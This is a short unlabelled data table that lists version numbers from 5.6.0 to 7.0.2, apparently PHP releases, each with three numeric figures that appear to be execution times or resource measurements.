7.0.2	0.010	0.035	17.93
7.0.1	0.007	0.042	17.87
7.0.0	0.012	0.034	17.75
5.6.40	0.006	0.022	14.61
5.6.39	0.007	0.028	14.45
5.6.38	0.007	0.020	14.70
5.6.37	0.006	0.019	14.82
5.6.36	0.006	0.019	14.52
5.6.35	0.007	0.023	14.73
5.6.34	0.007	0.017	14.38
5.6.33	0.000	0.031	14.59
5.6.32	0.007	0.023	14.91
5.6.31	0.006	0.025	14.32
5.6.30	0.006	0.022	14.73
5.6.29	0.010	0.021	14.83
5.6.28	0.005	0.048	17.79
5.6.27	0.007	0.046	17.86
5.6.26	0.011	0.046	17.75
5.6.25	0.007	0.047	17.63
5.6.24	0.012	0.046	17.99
5.6.23	0.000	0.055	17.61
5.6.22	0.007	0.045	17.66
5.6.21	0.013	0.039	17.74
5.6.20	0.005	0.047	17.70
5.6.19	0.008	0.047	17.73
5.6.18	0.012	0.045	17.72
5.6.17	0.007	0.049	17.63
5.6.16	0.007	0.046	17.65
5.6.15	0.007	0.047	17.72
5.6.14	0.005	0.052	17.91
5.6.13	0.000	0.053	17.74
5.6.12	0.008	0.052	17.79
5.6.11	0.010	0.050	17.81
5.6.10	0.010	0.053	17.85
5.6.9	0.010	0.045	17.81
5.6.8	0.005	0.048	17.45
5.6.7	0.005	0.049	17.42
5.6.6	0.010	0.045	17.38
5.6.5	0.010	0.041	17.57
5.6.4	0.010	0.047	17.54
5.6.3	0.003	0.053	17.40
5.6.2	0.005	0.048	17.28
5.6.1	0.002	0.048	17.48
5.6.0	0.003	0.051	17.36